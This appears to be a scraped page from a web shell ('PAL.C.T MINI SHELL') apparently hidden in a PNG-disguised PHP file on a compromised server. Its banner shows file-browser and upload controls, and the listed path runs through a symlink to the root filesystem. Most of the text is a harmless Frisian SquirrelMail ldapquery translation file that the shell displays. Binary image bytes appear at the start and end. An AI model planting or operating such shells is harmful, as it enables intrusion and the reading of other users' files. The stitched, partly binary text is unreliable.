php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /var/www/html/sub/images/sym/root/usr/share/squirrelmail/locale/fy/LC_MESSAGES/
upload
files >> //var/www/html/sub/images/sym/root/usr/share/squirrelmail/locale/fy/LC_MESSAGES/ldapquery.po

# Frisian (fy) ldapquery Translation (SquirrelMail plugin)
# Copyright (c) 1999-2009 The SquirrelMail Project Team
# This file is distributed under the same license as the SquirrelMail package.
# Rinse de Vries <rinsedevries@kde.nl>, 2007.
# $Id: ldapquery.pot 11068 2006-04-20 23:31:04Z jervfors $
msgid ""
msgstr ""
"Project-Id-Version: ldapquery\n"
"Report-Msgid-Bugs-To: Tomas Kuliavas <tokul@users.sourceforge.net>\n"
"POT-Creation-Date: 2006-03-26 17:23+0300\n"
"PO-Revision-Date: 2007-04-14 11:54+0200\n"
"Last-Translator: Rinse de Vries <rinsedevries@kde.nl>\n"
"Language-Team: Frisian <squirrelmail-i18n@lists.sourceforge.net>\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"X-Generator: KBabel 1.11.4\n"

#: addressbook.php:64
msgid "Personal address book is not available."
msgstr "Persoanlik adresboek is net beskikber."

#. checked email field
#: addressbook.php:71
msgid "Email address is not set or empty."
msgstr "E-mailadres is net opjûn of leech."

#. checked both name fields
#: addressbook.php:74
msgid "Name is not set or empty."
msgstr "Namme is net opjûn of leech."

#: addressbook.php:80
#, php-format
msgid "Nickname %s is already in use."
msgstr "Bynamme %s wurdt al brûkt."

#: addressbook.php:82
msgid "Can't create address book entry."
msgstr "Kin gjin adresboek-item oanmeitsje."

#: addressbook.php:94
msgid "Nickname: "
msgstr "Bynamme: "

#: addressbook.php:97
msgid "First name: "
msgstr "Foarnamme: "

#: addressbook.php:100
msgid "Last name: "
msgstr "Efternamme: "

#: addressbook.php:103
msgid "E-mail: "
msgstr "E-mail: "

#: addressbook.php:106
msgid "Info: "
msgstr "Ynfo: "

#: addressbook.php:109
msgid "Add address"
msgstr "Adres taheakje"

#: addressbook.php:113
msgid "Address book entry is saved."
msgstr "Adresboek-item is opslein"

#: addressbook.php:120
msgid "Return to search results"
msgstr "Tebek nei sykresultaten"

#: class.schema.php:43
#, php-format
msgid "Dublicate ldap attribute definition: %s."
msgstr "ldap-attribútdefinysje duplisearje: %s"

#: class.schema.php:77
#, php-format
msgid "Dublicate ldap object definition: %s."
msgstr "ldap-objektdefinysje duplisearje: %s"

#: class.schema.php:92
msgid "Any"
msgstr "Alles"

#: functions.php:97
msgid "Directory"
msgstr "Triemtafel"

#: functions.php:116
#: functions.php:161
msgid "Directory Preferences"
msgstr "Triemtafel-foarkarren"

#: functions.php:118
msgid "These settings control what type of output you will see when you use the Directory link to search Directory Services."
msgstr "Dizze ynstellingen bepale hokker type útfier jo sjen sille as jo de triemtafel-link brûke om triemtafel-services te trochsykjen."

# records=? koe neat fine Inkeld "opnimme", mar dit lykje my mear skiven of sa ta...
#: functions.php:281
#: functions.php:350
msgid "No records found"
msgstr "Gjin records fûn"

#: functions.php:553
msgid "Save"
msgstr "Opslaan"

#: functions.php:555
msgid "Add to address book"
msgstr "Oan adresboek taheakje"

#: functions.php:577
msgid "Plugin requires PHP with LDAP support."
msgstr "Plugin fereasket PHP mei LDAP-stipe."

#: functions.php:579
msgid "LDAP address books are not configured in SquirrelMail configuration."
msgstr "De LDAP-adresboeken binne net ynsteld yn de konfiguraasje fan SquirrelMail."

#. Get the userdn to authenticate with
#: ldapquery.php:59
msgid "User DN:"
msgstr "Brûker-DN:"

#. Get the user password
#: ldapquery.php:63
msgid "Password:"
msgstr "Wachtwurd:"

#. Get the objectclass the user wants to search for
#: ldapquery.php:69
msgid "Search For:"
msgstr "Sykje nei:"

#. Get the attribute the user wants to search by
#: ldapquery.php:81
msgid "Where:"
msgstr "Wêr:"

#: ldapquery.php:106
#: ldapquery.php:108
msgid "Contains"
msgstr "Befet"

#: ldapquery.php:110
#: ldapquery.php:112
msgid "Is"
msgstr "is itselde as"

#. Sort By menu
#: ldapquery.php:121
msgid "Sort By:"
msgstr "Sortearje op:"

#: ldapquery.php:136
msgid "Search in:"
msgstr "Sykje yn:"

#: ldapquery.php:141
msgid "All LDAP address books"
msgstr "Alle LDAP-adresboeken"

#: ldapquery.php:158
msgid "Search"
msgstr "Sykje"

#: ldapquery.php:165
msgid "Search Results"
msgstr "Sykresultaten"

#: ldapquery.php:169
#, php-format
msgid "Comparetype is %s"
msgstr "Fergelyktype is %s"

#: ldapquery.php:189
#, php-format
msgid "QUERY is %s"
msgstr "QUERY is %s"

#.
#. * Used in debug mode
#. * Example output "Querying: ldap-server-address on port some-port with base ldap-base-dn"
#. * See http://www.php.net/sprintf if you want to rearrange order of arguments
#.
#: ldapquery.php:227
#, php-format
msgid "Querying: %s on port %d with base %s"
msgstr "Query: %s op poarte %d mei basis %s"

#: ldapquery.php:234
#, php-format
msgid "Could not connect to LDAP server %s"
msgstr "Koe gjin ferbining meitsje mei LDAP-tsjinner %s"

#: ldapquery.php:244
#: ldapquery.php:249
#: ldapquery.php:254
msgid "Unable to bind to LDAP server"
msgstr "Koe net bine mei LDAP-tsjinner"

#: ldapquery.php:266
msgid "Nothing found!"
msgstr "Neat fûn!"

#: ldapquery.php:274
#, php-format
msgid "output type is %s"
msgstr "útfiertype is %s"

#: ldapquery.php:275
#, php-format
msgid "output sorted by %s"
msgstr "útfier sortearre op %s"

#: options.php:43
msgid "Options - Directory Preferences"
msgstr "Opsjes - Triemtafel-foarkarren"

#: options.php:49
msgid "Output types can be:"
msgstr "Utfiertypes kinne wêze:"

#: options.php:52
#: options.php:62
msgid "One Table"
msgstr "Ien tabel"

#: options.php:53
msgid "One big table with one row per record found and each selected attribute as a separate column."
msgstr "Ien grutte tabel mei ien rige per fûne record en elke selektearre attribút hat in aparte kolom."

#: options.php:54
#: options.php:63
msgid "Multiple Tables"
msgstr "Meardere tabellen"

#: options.php:55
msgid "One table per record found with 2 columns for each table. One column contains attribute names and the 2nd column shows values for each attribute.  This format is best if you have many attributes selected or if the values for some of the attributes you have selected can be very long with no spaces (like labeledurl)."
msgstr "Ien tabel per fûne record  mei 2 kolommen foar elke tabel. Yn in kolom stean attribútnammen en de twadde kolom toant de wearden foar elk attribút. Dit formaat is it beste as jo meardere attributen selektearre hawwe geselecteerd of als de waarden voor enkele van de attributen die u geselecteerd hebt er lang kunnen zijn sûnder spaasjes (lykas labeledurl)."

#: options.php:60
msgid "Select Output Type:"
msgstr "Utfiertype selektearje:"

#: options.php:68
msgid "Select Displayed Fields"
msgstr "Werjûne fjilden selektearje"

#: options.php:76
msgid "Submit"
msgstr "Yntsjinje"

#. openldap system schemas
#: schema/core.php:20
msgid "Common Name"
msgstr "Algemiene namme"

#: schema/core.php:23
msgid "Knowledge Information"
msgstr "Kennisynformaasje"

#: schema/core.php:25
msgid "Surname"
msgstr "Efternamme"

#: schema/core.php:27
msgid "Serial Number"
msgstr "Searjenûmer"

#: schema/core.php:29
msgid "Country Name"
msgstr "Lân"

#: schema/core.php:31
msgid "Locality Name"
msgstr "Taalregio"

#: schema/core.php:33
msgid "State or Province Name"
msgstr "Steat of provinsje"

#: schema/core.php:35
msgid "Street Address"
msgstr "Strjitte"

#: schema/core.php:37
msgid "Organisation Name"
msgstr "Organisaasje"

#: schema/core.php:39
msgid "Organisational Unit Name"
msgstr "Organisaasje-ienheid"

#: schema/core.php:41
msgid "Title"
msgstr "Titel"

#: schema/core.php:43
msgid "Description"
msgstr "Beskriuwing"

#: schema/core.php:45
msgid "Search Guide"
msgstr "Opsykgids"

#: schema/core.php:47
msgid "Business Category"
msgstr "Saaklike kategory"

#: schema/core.php:49
msgid "Postal Address"
msgstr "Postadres"

#: schema/core.php:51
msgid "Postal Code"
msgstr "Postkoade"

#: schema/core.php:53
msgid "Post Office Box"
msgstr "Postbus"

#: schema/core.php:55
msgid "Physical Delivery Office Name"
msgstr "Namme fan fysyk kantoar"

#: schema/core.php:57
msgid "Telephone Number"
msgstr "Telefoannûmer"

#: schema/core.php:59
msgid "Telex Number"
msgstr "Teleks"

#: schema/core.php:61
msgid "Teletex Terminal Identifier"
msgstr "Identifikaasje teleks-terminal"

#: schema/core.php:63
msgid "Facsimile (Fax) Telephone Number"
msgstr "Faksnûmer"

#: schema/core.php:66
msgid "X.121 Address"
msgstr "X.121-adres"

#: schema/core.php:68
msgid "International ISDN Number"
msgstr "Ynternasjonaal ISDN-nûmer"

#: schema/core.php:70
msgid "Registered Postal Address"
msgstr "Registrearre postadres"

#: schema/core.php:72
msgid "Destination Indicator"
msgstr "Bestimmings-yndikaasje"

#: schema/core.php:74
msgid "Preferred Delivery Method"
msgstr "Foarkar ôflevermetoade"

#: schema/core.php:76
msgid "Presentation Address"
msgstr "Presintaasje-adres"

#: schema/core.php:78
msgid "Supported Application Context"
msgstr "Stypjende applikaasjekontekst"

#: schema/core.php:80
msgid "Member of a group"
msgstr "Lid fan in groep"

#: schema/core.php:82
msgid "Owner"
msgstr "Eigener"

#: schema/core.php:84
msgid "Occupant of role"
msgstr "Berop of taak"

#: schema/core.php:86
msgid "See also"
msgstr "Sjoch ek"

#: schema/core.php:88
msgid "User Certificate"
msgstr "Brûkers-sertifikaat"

#: schema/core.php:90
msgid "CA Certificate"
msgstr "CA-sertifikaat"

#: schema/core.php:92
msgid "Authority Revocation List"
msgstr "Autoriteit-werrop-list"

#: schema/core.php:94
msgid "Certificate Revocation List"
msgstr "Sertifikaat-werrop-list"

#: schema/core.php:96
msgid "Cross Certificate Pair"
msgstr "Krússertifikaat-pear"

#: schema/core.php:98
msgid "First Name"
msgstr "Foarnamme"

#: schema/core.php:101
msgid "Initials"
msgstr "Inisjalen"

#: schema/core.php:103
msgid "Generation Qualifier"
msgstr "Generaasjekwalifikaasje"

#: schema/core.php:105
msgid "X.500 unique identifier"
msgstr "X.500 unike identifikaasje"

#: schema/core.php:107
msgid "DN qualifier"
msgstr "DN-kwalifikaasje"

#: schema/core.php:109
msgid "Enhanced Search Guide"
msgstr "Ferbettere-sykje-gids"

#: schema/core.php:111
msgid "Protocol Information"
msgstr "Protokolynformaasje"

#: schema/core.php:113
msgid "unique member of a group"
msgstr "unyk lid fan in groep"

#: schema/core.php:115
msgid "House Identifier"
msgstr "Hûsidentifikaasje"

#: schema/core.php:117
msgid "Supported Algorithms"
msgstr "Stypjende algoritmes"

#: schema/core.php:119
msgid "Delta Revocation List"
msgstr "Delta-werrop-list"

#. Attribute specifies a directory management domain (DMD),
#. the administrative authority which operates the directory server.
#: schema/core.php:123
msgid "Name of DMD"
msgstr "Namme fan DMD"

#: schema/core.php:125
msgid "Labelled URI"
msgstr "Labele URI-adres"

#: schema/core.php:127
msgid "User ID"
msgstr "Brûkers-id"

#: schema/core.php:130
msgid "Mail"
msgstr "E-mail"

#: schema/core.php:133
msgid "Domain Component"
msgstr "Domeinkomponint"

#: schema/core.php:136
msgid "Associated Domain"
msgstr "Assosearre domein"

#: schema/core.php:138
msgid "Email Address"
msgstr "E-mailadres"

#. * Object Classes
#: schema/core.php:143
#: schema/cosine.php:84
msgid "Country"
msgstr "Lân"

#: schema/core.php:145
msgid "Locality"
msgstr "Taalregio"

#: schema/core.php:147
msgid "Organisation"
msgstr "Organisaasje"

#: schema/core.php:149
msgid "Organisational Unit"
msgstr "Organisaasje-ienheid"

#: schema/core.php:151
msgid "Person"
msgstr "Persoan"

#: schema/core.php:153
msgid "Organisational Person"
msgstr "Organisatoaryske persoan"

#: schema/core.php:155
msgid "Organisational Role"
msgstr "Organisatoaryske taak"

#: schema/core.php:157
msgid "Group of Names"
msgstr "Groep nammen"

#: schema/core.php:159
msgid "Residential Person"
msgstr "Residinsjele persoan"

#: schema/core.php:161
msgid "Application Process"
msgstr "Applikaasjeproses"

#: schema/core.php:163
msgid "Application Entity"
msgstr "Applikaasje-entiteit"

#. RFC2256: a directory system agent (a server)
#: schema/core.php:166
msgid "DSA"
msgstr "DSA"

#: schema/core.php:168
msgid "Device"
msgstr "Apparaat"

#: schema/core.php:170
msgid "Strong Authentication User"
msgstr "Sterke autentikaasje brûker"

#: schema/core.php:172
msgid "Certificate Authority"
msgstr "Sertifikaat-autoriteit"

#: schema/core.php:174
msgid "Group of Unique Names"
msgstr "Groep unike nammen"

#: schema/core.php:176
msgid "User Security Information"
msgstr "Ynformaasje oer feiligens brûker"

#: schema/core.php:178
msgid "Certificate Authority V2"
msgstr "Sertifikaatautoriteit V2"

#: schema/core.php:180
msgid "CRL Distribution Point"
msgstr "CLR-distribúsjepunt"

#. a directory management domain object
#: schema/core.php:183
msgid "dmd"
msgstr "dmd"

#: schema/core.php:185
msgid "PKI User"
msgstr "PKI-brûker"

#: schema/core.php:187
msgid "PKI CA"
msgstr "PKI-CA"

#: schema/core.php:189
msgid "Delta CRL"
msgstr "Delta-CRL"

#: schema/core.php:191
msgid "Labeled URI Object"
msgstr "Labele URI-objekt"

#: schema/core.php:193
msgid "Simple Security Object"
msgstr "Simple Security-objekt"

#: schema/core.php:195
msgid "DC Object"
msgstr "DC-objekt"

#: schema/core.php:197
msgid "UID Object"
msgstr "UID-objekt"

#: schema/cosine.php:19
msgid "Encoded Text or Address"
msgstr "Kodearre tekst of kodearre adres"

#: schema/cosine.php:21
msgid "Info"
msgstr "Ynfo"

#. Favorite drink (noun)
#: schema/cosine.php:24
msgid "Drink"
msgstr "Drankje"

#: schema/cosine.php:27
msgid "Room Number"
msgstr "Keamernûmer"

#: schema/cosine.php:29
msgid "Photo"
msgstr "Foto"

#: schema/cosine.php:31
msgid "Category of user"
msgstr "Kategory fan brûker"

#: schema/cosine.php:33
msgid "Host"
msgstr "Host"

#: schema/cosine.php:35
msgid "Manager"
msgstr "Behearder"

#: schema/cosine.php:37
msgid "Document identifier"
msgstr "Dokumint-identifikaasje"

#: schema/cosine.php:39
msgid "Document Title"
msgstr "Dokuminttitel"

#: schema/cosine.php:41
msgid "Document version"
msgstr "Dokumintferzje"

#: schema/cosine.php:43
msgid "Document author"
msgstr "Dokumint-auteur"

#: schema/cosine.php:45
msgid "Location of document"
msgstr "Lokaasje fan dokumint"

#: schema/cosine.php:47
msgid "Home Phone"
msgstr "Telefoan privee"

#: schema/cosine.php:50
msgid "Secretary"
msgstr "Siktariaat"

#: schema/cosine.php:52
msgid "Other Mailbox"
msgstr "Oare postbus"

#. DNS A record entries
#: schema/cosine.php:55
msgid "A Record"
msgstr "In record"

#. DNS MD record entries
#: schema/cosine.php:58
msgid "MD Record"
msgstr "MD-record"

#. DNS MX record entries
#: schema/cosine.php:61
msgid "MX Record"
msgstr "MX-record"

#. DNS NS record entries
#: schema/cosine.php:64
msgid "NS Record"
msgstr "NS-record"

#. DNS SOA record entries
#: schema/cosine.php:67
msgid "SOA Record"
msgstr "SOA-record"

#. DNS CNAME record entries
#: schema/cosine.php:70
msgid "CNAME Record"
msgstr "CNAME-record"

#: schema/cosine.php:72
msgid "Associated Name"
msgstr "Assosiearre namme"

#: schema/cosine.php:74
msgid "Home Postal Address"
msgstr "Postadres privee"

#: schema/cosine.php:76
msgid "Personal Title"
msgstr "Persoanlike titel"

#: schema/cosine.php:78
msgid "Mobile Phone Number"
msgstr "Mobile telefoannûmer"

#: schema/cosine.php:81
msgid "Pager"
msgstr "Semafoan"

#: schema/cosine.php:87
msgid "Unique Identifier"
msgstr "Unike identifikator"

#: schema/cosine.php:89
msgid "Organizational status"
msgstr "Organisaasjestatus"

#. Mail address in rfc733 format
#: schema/cosine.php:92
msgid "Janet mailbox"
msgstr "Janet-postbus"

#: schema/cosine.php:94
msgid "Mail Preference Option"
msgstr "E-mail foarkaropsje"

#: schema/cosine.php:96
msgid "Name of building"
msgstr "Namme fan gebou"

#: schema/cosine.php:98
msgid "DSA Quality"
msgstr "DSA-kwaliteit"

#: schema/cosine.php:100
msgid "Single Level Quality"
msgstr "Single Level-kwaliteit"

#: schema/cosine.php:102
msgid "Subtree Minimum Quality"
msgstr "Subtree Minimum-kwaliteit"

#: schema/cosine.php:104
msgid "Subtree Maximum Quality"
msgstr "Subtree Maksimum-kwaliteit"

#: schema/cosine.php:106
msgid "Personal Signature"
msgstr "Persoanlike ûndertekening"

#. Redirection to other entry in directory
#: schema/cosine.php:109
msgid "DIT Redirect"
msgstr "DIT-omlieding"

#: schema/cosine.php:111
msgid "Audio"
msgstr "Audio"

#: schema/cosine.php:113
msgid "Publisher of document"
msgstr "Utjouwer fan dokumint"

#: schema/cosine.php:116
msgid "Pilot Person"
msgstr "Pilot-persoan"

#: schema/cosine.php:119
msgid "Account"
msgstr "Akkount"

#: schema/cosine.php:121
msgid "Document"
msgstr "Dokumint"

#: schema/cosine.php:123
msgid "Room"
msgstr "Keamer"

#: schema/cosine.php:125
msgid "Document Series"
msgstr "Dokumint-searjes"

#. can represent dns and nrs domain objects
#: schema/cosine.php:128
msgid "Domain"
msgstr "Domein"

#: schema/cosine.php:130
msgid "RFC822 Local Part"
msgstr "RFC822 Local Part"

#: schema/cosine.php:132
msgid "DNS Domain"
msgstr "DNS-domein"

#: schema/cosine.php:134
msgid "Object related to domain"
msgstr "Objekt relatearre oan domein"

#: schema/cosine.php:136
msgid "Friendly Country"
msgstr "Freonlik lân"

#: schema/cosine.php:138
msgid "Pilot Organisation"
msgstr "Pilot-organisaasje"

#: schema/cosine.php:140
msgid "Pilot DSA"
msgstr "Pilot DSA"

#: schema/cosine.php:142
msgid "Quality Labelled Data"
msgstr "Kwaliteit-labele gegevens"

#: schema/inetorgperson.php:20
msgid "Car License"
msgstr "Autopapieren"

#: schema/inetorgperson.php:22
msgid "Department Number"
msgstr "Nûmer departemint"

#: schema/inetorgperson.php:24
msgid "Displayed Name"
msgstr "Werjûne namme"

#: schema/inetorgperson.php:26
msgid "Employee Number"
msgstr "Wurknimmersnûmer"

#: schema/inetorgperson.php:28
msgid "Employee Type"
msgstr "Wurknimmerstype"

#: schema/inetorgperson.php:30
msgid "JPEG Photo"
msgstr "JPEG-foto"

#: schema/inetorgperson.php:32
msgid "Preferred Language"
msgstr "Foarkartaal"

#: schema/inetorgperson.php:34
msgid "User SMIME Certificate"
msgstr "SMIME-sertifikaat foar brûker"

#: schema/inetorgperson.php:36
msgid "User PKCS12"
msgstr "PKCS12 foar brûker"

#: schema/inetorgperson.php:38
msgid "Internet Organizational Person"
msgstr "Ynternet-organisaasje-persoan"

y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`